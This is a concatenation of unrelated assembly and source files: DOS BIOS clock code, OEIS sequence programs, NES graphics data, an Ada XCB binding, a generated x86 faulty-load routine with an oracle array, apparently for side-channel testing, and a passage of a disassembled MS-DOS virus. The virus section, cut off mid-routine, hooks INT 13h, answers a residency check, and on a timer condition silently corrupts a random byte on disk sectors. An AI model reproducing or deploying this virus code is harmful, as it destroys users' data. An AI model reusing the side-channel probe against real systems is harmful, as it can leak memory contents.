call ttticks ; convert time to ticks
;cx:dx now has time in ticks
cli ; turn off timer
mov ah, 1 ; command is set time in clock
int 1ah ; call rom-bios clock routines
pop [daycnt]
sti
cmp havecmosclock, 0
je no_cmos_2
call daycnttoday ; convert to bcd format
cli ; turn off timer
mov ah,05h ; set rtc date
int 1ah ; call rom-bios clock routines
sti
no_cmos_2:
clc
ret
tim_writ endp
ENDIF ; POWER
;
; gettime reads date and time
; and returns the following information:
; es:[di] =count of days since 1-1-80
; es:[di+2]=hours
; es:[di+3]=minutes
; es:[di+4]=seconds
; es:[di+5]=hundredths of seconds
IFDEF POWER ; Power management driver has it's own version of
; this routine. ;M074
extrn tim_read:near
ELSE
; NOTE: Any changes in this routine probably require corresponding
; changes in the version that is built with the power manager driver.
; See ptime.asm.
tim_read proc near
call GetTickCnt ; M059 does INT 1A with ah=0 & updates daycnt
mov si,[daycnt]
; we now need to convert the time in tick to the time in 100th of
; seconds. the relation between tick and seconds is:
;
; 65536 seconds
; ----------------
; 1,193,180 tick
;
; to get to 100th of second we need to multiply by 100. the equation is:
;
; ticks from clock * 65536 * 100
; --------------------------------- = time in 100th of seconds
; 1,193,180
;
; fortunately this fromula simplifies to:
;
; ticks from clock * 5 * 65,536
; --------------------------------- = time in 100th of seconds
; 59,659
;
; the calculation is done by first multipling tick by 5. next we divide by
; 59,659. in this division we multiply by 65,536 by shifting the dividend
; my 16 bits to the left.
;
; start with ticks in cx:dx
; multiply by 5
mov ax,cx
mov bx,dx
shl dx,1
rcl cx,1 ;times 2
shl dx,1
rcl cx,1 ;times 4
add dx,bx
adc ax,cx ;times 5
xchg ax,dx
; now have ticks * 5 in dx:ax
; we now need to multiply by 65,536 and divide by 59659 d.
mov cx,59659 ; get divisor
div cx
; dx now has remainder
; ax has high word of final quotient
mov bx,ax ; put high work if safe place
xor ax,ax ; this is the multiply by 65536
div cx ; bx:ax now has time in 100th of seconds
;rounding based on the remainder may be added here
;the result in bx:ax is time in 1/100 second.
mov dx,bx
mov cx,200 ;extract 1/100's
;division by 200 is necessary to ensure no overflow--max result
;is number of seconds in a day/2 = 43200.
div cx
cmp dl,100 ;remainder over 100?
jb noadj
sub dl,100 ;keep 1/100's less than 100
noadj:
cmc ;if we subtracted 100, carry is now set
mov bl,dl ;save 1/100's
;to compensate for dividing by 200 instead of 100, we now multiply
;by two, shifting a one in if the remainder had exceeded 100.
rcl ax,1
mov dl,0
rcl dx,1
mov cx,60 ;divide out seconds
div cx
mov bh,dl ;save the seconds
div cl ;break into hours and minutes
xchg al,ah
;time is now in ax:bx (hours, minutes, seconds, 1/100 sec)
push ax
mov ax,si ; daycnt
stosw
pop ax
stosw
mov ax,bx
stosw
clc
ret
tim_read endp
ENDIF ; POWER
; M059 - BEGIN
;
;----------------------------------------------------------------------------
;
; procedure : GetTickCnt
;
; Returns the tick count in CX:DX. Takes care of DayCnt in case
; of rollover [except when power management driver is in use].
; Uses the following logic for updating Daycnt
;
; if ( rollover ) {
; if ( t_switch )
; daycnt++ ;
; else
; daycnt += rollover ;
; }
;
; USES : AX
;
; RETURNS : CX:DX - tick count
; MODIFIES : daycnt
;
;----------------------------------------------------------------------------
;
public GetTickCnt
GetTickCnt proc
xor ah, ah
int 1ah
IFNDEF POWER ; Power management driver keeps track of rollover.
cmp t_switch, 0 ; use old method ?
jne inc_case ; yes
;
;------ new method assumes that INT 1a returns roll over count and not flag.
;
xor ah, ah ; new method
add daycnt, ax
ret
inc_case:
;
;------ old method assumes that INT 1a returns rollover flag
;
or al, al
jz no_rollover
inc daycnt
no_rollover:
ENDIF ; POWER
ret
GetTickCnt endp
; M059 - END
Bios_Code ends
end
|
programs/oeis/004/A004957.asm | karttu/loda | 0 | 18920 | <filename>programs/oeis/004/A004957.asm
; A004957: a(n) = ceiling(n*phi^2), where phi is the golden ratio, A001622.
; 0,3,6,8,11,14,16,19,21,24,27,29,32,35,37,40,42,45,48,50,53,55,58,61,63,66,69,71,74,76,79,82,84,87,90,92,95,97,100,103,105,108,110,113,116,118,121,124,126,129,131,134,137,139,142,144,147,150,152,155,158,160,163,165,168,171,173,176,179,181,184,186,189,192,194,197,199,202,205,207,210,213,215,218,220,223,226,228,231,234,236,239,241,244,247,249,252,254,257,260,262,265,268,270,273,275,278,281,283,286,288,291,294,296,299,302,304,307,309,312,315,317,320,323,325,328,330,333,336,338,341,343,346,349,351,354,357,359,362,364,367,370,372,375,377,380,383,385,388,391,393,396,398,401,404,406,409,412,414,417,419,422,425,427,430,432,435,438,440,443,446,448,451,453,456,459,461,464,467,469,472,474,477,480,482,485,487,490,493,495,498,501,503,506,508,511,514,516,519,521,524,527,529,532,535,537,540,542,545,548,550,553,556,558,561,563,566,569,571,574,576,579,582,584,587,590,592,595,597,600,603,605,608,611,613,616,618,621,624,626,629,631,634,637,639,642,645,647,650,652
mov $1,$0
mov $2,$0
pow $2,2
mov $3,$0
lpb $2,1
add $0,2
add $1,1
add $2,1
trn $2,$0
lpe
add $1,$3
|
src/include.asm | ViGrey/iss-nes | 23 | 17455 | <filename>src/include.asm<gh_stars>10-100
; Copyright (C) 2020, <NAME>
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; 1. Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; 2. Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY AUTHOR AND CONTRIBUTORS ``AS IS'' AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE
; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
; OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
; HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
; OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
; SUCH DAMAGE.
Palettes:
.byte $0F, $11, $2A, $30
.byte $0F, $11, $30, $30
.byte $0F, $0F, $0F, $30
.byte $0F, $0F, $0F, $30
.byte $0F, $2D, $2C, $30
.byte $0F, $0F, $0F, $0F
.byte $0F, $0F, $0F, $0F
.byte $0F, $0F, $0F, $0F
West:
.incbin "graphics/west.nam"
.incbin "graphics/west.atr"
East:
.incbin "graphics/east.nam"
.incbin "graphics/east.atr"
Months:
.byte $F3, $EB, $F6
.byte $F0, $EF, $EC
.byte $F5, $EB, $F9
.byte $EB, $F8, $F9
.byte $F5, $EB, $FF
.byte $F3, $FC, $F6
.byte $F3, $FC, $F4
.byte $EB, $FC, $F1
.byte $FA, $EF, $F8
.byte $F7, $ED, $FB
.byte $F6, $F7, $FD
.byte $EE, $EF, $ED
NorthSouth:
.byte $F6, $FA
EastWest:
.byte $EF, $FE
Latitudes:
.byte $28, $29, $2a, $2b, $2c, $2d, $2e, $2f, $30, $32, $33, $34, $35, $36, $37, $38, $39, $3a, $3b, $3c, $3d, $3e, $3f, $40, $41, $43, $44, $45, $46, $47, $48, $49, $4a, $4b, $4c, $4d, $4e, $4f, $50, $51, $52, $53, $55, $56, $57, $58, $59, $5a, $5b, $5c, $5d, $5e, $5f, $60, $61, $62, $63, $64, $66, $67, $68, $69, $6a, $6b, $6c, $6d, $6e, $6f, $70, $71, $72, $73, $74, $75, $76, $78, $79, $7a, $7b, $7c, $7d, $7e, $7f, $80, $81, $82, $83, $84, $85, $86, $87, $89, $8a, $8b, $8c, $8d, $8e, $8f, $90, $91, $92, $93, $94, $95, $96, $97, $98, $9a, $9b, $9c, $9d, $9e, $9f, $a0, $a1, $a2, $a3, $a4, $a5, $a6, $a7, $a8, $a9, $aa, $ac, $ad, $ae, $af, $b0, $b1, $b2, $b3, $b4, $b5, $b6, $b7, $b8, $b9, $ba, $bb, $bd, $be, $bf, $c0, $c1, $c2, $c3, $c4, $c5, $c6, $c7, $c8, $c9, $ca, $cb, $cc, $cd, $cf, $d0, $d1, $d2, $d3, $d4, $d5, $d6, $d7, $d8, $d9, $da, $db, $dc, $dd, $de, $e0, $e1, $e2, $e3, $e4, $e5, $e6, $e7
Longitudes:
.byte $00, $01, $03, $04, $06, $07, $09, $0a, $0b, $0d, $0e, $10, $11, $12, $14, $15, $17, $18, $1a, $1b, $1c, $1e, $1f, $21, $22, $24, $25, $26, $28, $29, $2b, $2c, $2e, $2f, $30, $32, $33, $35, $36, $37, $39, $3a, $3c, $3d, $3f, $40, $41, $43, $44, $46, $47, $49, $4a, $4b, $4d, $4e, $50, $51, $52, $54, $55, $57, $58, $5a, $5b, $5c, $5e, $5f, $61, $62, $64, $65, $66, $68, $69, $6b, $6c, $6e, $6f, $70, $72, $73, $75, $76, $77, $79, $7a, $7c, $7d, $7f, $80, $81, $83, $84, $86, $87, $89, $8a, $8b, $8d, $8e, $90, $91, $92, $94, $95, $97, $98, $9a, $9b, $9c, $9e, $9f, $a1, $a2, $a4, $a5, $a6, $a8, $a9, $ab, $ac, $ae, $af, $b0, $b2, $b3, $b5, $b6, $b7, $b9, $ba, $bc, $bd, $bf, $c0, $c1, $c3, $c4, $c6, $c7, $c9, $ca, $cb, $cd, $ce, $d0, $d1, $d2, $d4, $d5, $d7, $d8, $da, $db, $dc, $de, $df, $e1, $e2, $e4, $e5, $e6, $e8, $e9, $eb, $ec, $ee, $ef, $f0, $f2, $f3, $f5, $f6, $f7, $f9, $fa, $fc, $fd, $ff, $ff
|
oeis/242/A242448.asm | neoneye/loda-programs | 11 | 167721 | <filename>oeis/242/A242448.asm<gh_stars>10-100
; A242448: Number of distinct linear polynomials b+c*x in row n of array generated as in Comments.
; Submitted by <NAME>
; 1,3,6,12,22,38,64,106,174,284,462,750,1216,1970,3190,5164,8358,13526,21888,35418,57310,92732,150046,242782,392832,635618
mov $5,1
lpb $0
sub $0,1
sub $4,2
sub $3,$4
mov $2,$3
mov $4,$1
div $5,2
mul $5,2
add $5,1
mov $3,$5
add $5,$2
lpe
mov $0,$5
|
oeis/061/A061369.asm | neoneye/loda-programs | 11 | 1950 | ; A061369: a(n) = smallest square in the arithmetic progression {nk+1 : k >= 0}.
; Submitted by <NAME>
; 4,9,4,9,16,25,36,9,64,81,100,25,144,169,16,49,256,289,324,81,64,441,484,25,576,625,676,169,784,121,900,225,100,1089,36,289,1296,1369,196,81,1600,169,1764,441,361,2025,2116,49,2304,2401,256,625,2704,2809,441
seq $0,215653 ; a(n) = smallest positive m such that m^2=1+k*n with positive k.
pow $0,2
|
data/mapObjects/route3.asm | adhi-thirumala/EvoYellow | 16 | 10948 | <filename>data/mapObjects/route3.asm
Route3Object:
db $2c ; border block
db $0 ; warps
db $1 ; signs
db $9, $3b, $a ; Route3Text10
db $9 ; objects
object SPRITE_BLACK_HAIR_BOY_2, $39, $b, STAY, NONE, $1 ; person
object SPRITE_BUG_CATCHER, $a, $6, STAY, RIGHT, $2, OPP_BUG_CATCHER, $4
object SPRITE_BUG_CATCHER, $e, $4, STAY, DOWN, $3, OPP_YOUNGSTER, $1
object SPRITE_LASS, $10, $9, STAY, LEFT, $4, OPP_LASS, $1
object SPRITE_BUG_CATCHER, $13, $5, STAY, DOWN, $5, OPP_BUG_CATCHER, $5
object SPRITE_LASS, $17, $4, STAY, LEFT, $6, OPP_LASS, $2
object SPRITE_BUG_CATCHER, $16, $9, STAY, LEFT, $7, OPP_YOUNGSTER, $2
object SPRITE_BUG_CATCHER, $18, $6, STAY, RIGHT, $8, OPP_BUG_CATCHER, $6
object SPRITE_LASS, $21, $a, STAY, UP, $9, OPP_LASS, $3
|
examples/demo-grammar/tinyc/src/samples/sample_0_helloworld.asm | fossabot/FlyLab | 0 | 162120 | FUNC @main:
print "Hello world!"
push 0
ret ~
ENDFUNC
|
tier-1/xcb/source/thin/xcb-xcb_render_trapezoid_t.ads | charlie5/cBound | 2 | 18453 | -- This file is generated by SWIG. Please do not modify by hand.
--
with xcb.xcb_render_linefix_t;
with Interfaces.C;
with Interfaces.C.Pointers;
package xcb.xcb_render_trapezoid_t is
-- Item
--
type Item is record
top : aliased xcb.xcb_render_fixed_t;
bottom : aliased xcb.xcb_render_fixed_t;
left : aliased xcb.xcb_render_linefix_t.Item;
right : aliased xcb.xcb_render_linefix_t.Item;
end record;
-- Item_Array
--
type Item_Array is
array
(Interfaces.C.size_t range <>) of aliased xcb.xcb_render_trapezoid_t
.Item;
-- Pointer
--
package C_Pointers is new Interfaces.C.Pointers
(Index => Interfaces.C.size_t,
Element => xcb.xcb_render_trapezoid_t.Item,
Element_Array => xcb.xcb_render_trapezoid_t.Item_Array,
Default_Terminator => (others => <>));
subtype Pointer is C_Pointers.Pointer;
-- Pointer_Array
--
type Pointer_Array is
array
(Interfaces.C.size_t range <>) of aliased xcb.xcb_render_trapezoid_t
.Pointer;
-- Pointer_Pointer
--
package C_Pointer_Pointers is new Interfaces.C.Pointers
(Index => Interfaces.C.size_t,
Element => xcb.xcb_render_trapezoid_t.Pointer,
Element_Array => xcb.xcb_render_trapezoid_t.Pointer_Array,
Default_Terminator => null);
subtype Pointer_Pointer is C_Pointer_Pointers.Pointer;
end xcb.xcb_render_trapezoid_t;
|
oeis/007/A007706.asm | neoneye/loda-programs | 11 | 14572 | <reponame>neoneye/loda-programs
; A007706: a(n) = 1 + coefficient of x^n in Product_{k>=1} (1-x^k) (essentially the expansion of the Dedekind function eta(x)).
; Submitted by <NAME>
; 2,0,0,1,1,2,1,2,1,1,1,1,0,1,1,0,1,1,1,1,1,1,2,1,1,1,2,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1
seq $0,116916 ; Expansion of q^(-1/8) * (eta(q)^3 + 3 * eta(q^9)^3) in powers of q^3.
mod $0,3
dif $0,-2
add $0,1
|
programs/oeis/201/A201874.asm | karttu/loda | 0 | 169228 | <gh_stars>0
; A201874: Number of zero-sum -n..n arrays of 3 elements with first and second differences also in -n..n.
; 3,5,15,21,27,47,57,67,97,111,125,165,183,201,251,273,295,355,381,407,477,507,537,617,651,685,775,813,851,951,993,1035,1145,1191,1237,1357,1407,1457,1587,1641,1695,1835,1893,1951,2101,2163,2225,2385,2451,2517,2687,2757,2827,3007,3081,3155,3345,3423,3501,3701,3783,3865,4075,4161,4247,4467,4557,4647,4877,4971,5065,5305,5403,5501,5751,5853,5955,6215,6321,6427,6697,6807,6917,7197,7311,7425,7715,7833,7951,8251,8373,8495,8805,8931,9057,9377,9507,9637,9967,10101,10235,10575,10713,10851,11201,11343,11485,11845,11991,12137,12507,12657,12807,13187,13341,13495,13885,14043,14201,14601,14763,14925,15335,15501,15667,16087,16257,16427,16857,17031,17205,17645,17823,18001,18451,18633,18815,19275,19461,19647,20117,20307,20497,20977,21171,21365,21855,22053,22251,22751,22953,23155,23665,23871,24077,24597,24807,25017,25547,25761,25975,26515,26733,26951,27501,27723,27945,28505,28731,28957,29527,29757,29987,30567,30801,31035,31625,31863,32101,32701,32943,33185,33795,34041,34287,34907,35157,35407,36037,36291,36545,37185,37443,37701,38351,38613,38875,39535,39801,40067,40737,41007,41277,41957,42231,42505,43195,43473,43751,44451
mov $1,$0
lpb $0,1
add $2,$0
sub $0,3
add $2,$1
lpe
add $1,$2
mul $1,2
add $1,3
|
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_649.asm | ljhsiun2/medusa | 9 | 90516 | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1b2cb, %rsi
lea addresses_normal_ht+0xe56b, %rdi
nop
and %r8, %r8
mov $39, %rcx
rep movsw
nop
nop
nop
nop
nop
sub %r9, %r9
lea addresses_WT_ht+0x9c8b, %rsi
lea addresses_WC_ht+0x1d7a1, %rdi
clflush (%rsi)
nop
nop
nop
nop
add $64201, %rbp
mov $32, %rcx
rep movsb
nop
cmp $35692, %r8
lea addresses_UC_ht+0x128b, %rsi
lea addresses_A_ht+0x1430b, %rdi
nop
nop
nop
nop
cmp %r14, %r14
mov $112, %rcx
rep movsq
nop
nop
dec %rdi
lea addresses_normal_ht+0xdc8b, %r8
inc %rcx
mov $0x6162636465666768, %r9
movq %r9, %xmm7
movups %xmm7, (%r8)
xor %r8, %r8
lea addresses_WT_ht+0x5c21, %rdi
nop
nop
nop
sub %rcx, %rcx
and $0xffffffffffffffc0, %rdi
vmovaps (%rdi), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %r8
mfence
lea addresses_WC_ht+0xe65b, %rbp
nop
nop
nop
sub %rsi, %rsi
mov (%rbp), %ecx
xor %rdi, %rdi
lea addresses_D_ht+0x448b, %r14
nop
nop
nop
sub %rcx, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm2
movups %xmm2, (%r14)
nop
nop
nop
sub %r14, %r14
lea addresses_UC_ht+0x1348b, %rdi
nop
nop
nop
cmp %r14, %r14
movb (%rdi), %cl
cmp $6762, %r8
lea addresses_normal_ht+0xf88b, %r8
nop
nop
nop
lfence
mov (%r8), %r14
nop
xor %rsi, %rsi
lea addresses_WT_ht+0x17d82, %r9
clflush (%r9)
nop
nop
nop
nop
nop
add %rsi, %rsi
movb (%r9), %r8b
nop
nop
nop
nop
nop
cmp $35970, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r15
push %rcx
push %rdi
push %rsi
// Store
mov $0xb, %r11
nop
nop
nop
nop
nop
and $38325, %rsi
movw $0x5152, (%r11)
nop
nop
nop
add %r11, %r11
// Store
lea addresses_RW+0x275b, %rcx
nop
nop
and $22499, %r14
movb $0x51, (%rcx)
nop
add $19746, %r10
// Store
mov $0x65728900000000ab, %r14
nop
nop
sub $37616, %rdi
movb $0x51, (%r14)
nop
nop
add %rsi, %rsi
// Faulty Load
lea addresses_US+0x1dc8b, %r11
clflush (%r11)
nop
nop
nop
nop
nop
dec %rsi
mov (%r11), %edi
lea oracles, %r10
and $0xff, %rdi
shlq $12, %rdi
mov (%r10,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 1}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_US', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': True, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': True, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
test/test.Array.splitb.asm | richRemer/atlatl | 0 | 244354 | global test_case
extern Array.splitb
extern Array.eachb
extern std.outb
extern std.outln
extern sys.error
%include "Array.inc"
section .text
test_case:
mov rax, test_array ; Array to split
mov rbx, 4 ; delimit with value 4
call Array.splitb ; split into two arrays (plus delimiter)
push qword[rcx+Array.length] ; preserve leftover length
mov rbx, std.outb ; fn to call
call Array.eachb ; print values from array
mov rax, empty_str ; empty message
call std.outln ; end line
pop rax ; restore length
call sys.error ; exit with array length
section .data
test_bytes: db 0x1, 0x2, 0x3, 0x4, 0x5, 0x6
empty_str: db 0x0
test_array:
istruc Array
at Array.pdata, dq test_bytes
at Array.length, dq 6
iend
|
oeis/138/A138338.asm | neoneye/loda-programs | 11 | 2899 | <reponame>neoneye/loda-programs
; A138338: Primes of the form n^2+8.
; Submitted by <NAME>(w1)
; 17,89,233,449,1097,2609,3257,6569,7577,12329,13697,15137,16649,18233,19889,21617,23417,31337,35729,45377,47969,65033,77849,81233,99233,103049,106937,119033,123209,131777,159209,173897,216233,221849,227537
mov $1,9
mov $2,332202
mov $5,8
lpb $2
mov $3,$6
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,2
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,18
sub $5,12
add $5,$1
mov $6,$5
lpe
mov $0,$5
add $0,1
|
MSDOS/Virus.MSDOS.Unknown.v1385.asm | fengjixuchui/Family | 3 | 247312 | <reponame>fengjixuchui/Family
;-------------------------------------------------
; Virus
;
; dissasembled by <NAME> July 1991
;
; (C) Polish section of Virus Information Bank
;------------------------------------------------
0100 E97801 JMP 027B
; old INT 13h vector
0103 7A0F
0105 7000
;====================
; INT 13h handler
0107 9C PUSHF
0108 50 PUSH AX
0109 53 PUSH BX
010A 51 PUSH CX
010B 52 PUSH DX
010C 1E PUSH DS
010D 06 PUSH ES
010E 57 PUSH DI
010F 0E PUSH CS
0110 1F POP DS
0111 50 PUSH AX
0112 B000 MOV AL,00
0114 3D0002 CMP AX,0200 ; request: read sectors?
0117 58 POP AX ; restore oryginal function number
0118 7571 JNZ 018B ; no, exit
011A 80F900 CMP CL,00 ; first sector number (illegal)
011D 7518 JNZ 0137 ; not zero, not virus question
011F 81FF3412 CMP DI,1234 ; question from new copy of virus
0123 7512 JNZ 0137 ; no
; prepare answer for the question from next virsus copy
0125 5F POP DI
0126 BF2143 MOV DI,4321 ; answer: I'm here!
0129 58 POP AX
012A 58 POP AX
012B A19901 MOV AX,[0199] ; old INT 21h
012E 50 PUSH AX
012F A19B01 MOV AX,[019B]
0132 50 PUSH AX
0133 57 PUSH DI
0134 EB55 JMP 018B ; exit
0136 90 NOP
; check cylinder number, if not 4x + 2 or 4x + 3 then exit (x arbitrary)
0137 51 PUSH CX
0138 81E100FC AND CX,FC00
013C 80FD00 CMP CH,00
013F 59 POP CX
0140 7449 JZ 018B ; exit
; check time condition
0142 51 PUSH CX
0143 52 PUSH DX
0144 B80000 MOV AX,0000
0147 FB STI
0148 CD1A INT 1A ; read the clock
014A 81E2FF0F AND DX,0FFF ; low word of tick count since reset
014E 83FA00 CMP DX,+00 ; about 3.7 min
0151 5A POP DX
0152 59 POP CX
0153 7536 JNZ 018B ; exit
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
; DESTRUCTION! change one byte on the sector on the next track
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
0155 9C PUSHF
0156 0E PUSH CS ; segment of return address
0157 B86601 MOV AX,0166 ; offset of return address
015A 50 PUSH AX
015B B80102 MOV AX,0201 ; read 1 sector
015E 80C501 ADD CH,01 ; next track
0161 2EFF2E0301 JMP DWORD PTR CS:[0103] ; CALL FAR INT 13h
0166 7223 JB 018B ; exit
; get random number between 0 and 1FFh (minimal buffer size)
0168 51 PUSH CX
0169 52 PUSH DX
016A B80000 MOV AX,0000
016D FB STI
016E CD1A INT 1A ; read the clock
0170 81E2FF01 AND DX,01FF ; low word of tick count since reset
; change one byte inside buffer
0174 53 PUSH BX ; offset of buffer
0175 03DA ADD BX,DX ; random byte in buffer
0177 26880F MOV ES:[BX],CL ; undefined value (first sector)
017A 5B POP BX ; restore buffer address
; write buffer back to disk
017B 5A POP DX ; disk/head
017C 59 POP CX ; track/sector
017D 9C PUSHF
017E 0E PUSH CS ; segment of return address
017F B88B01 MOV AX,018B ; offset of return address
0182 50 PUSH AX
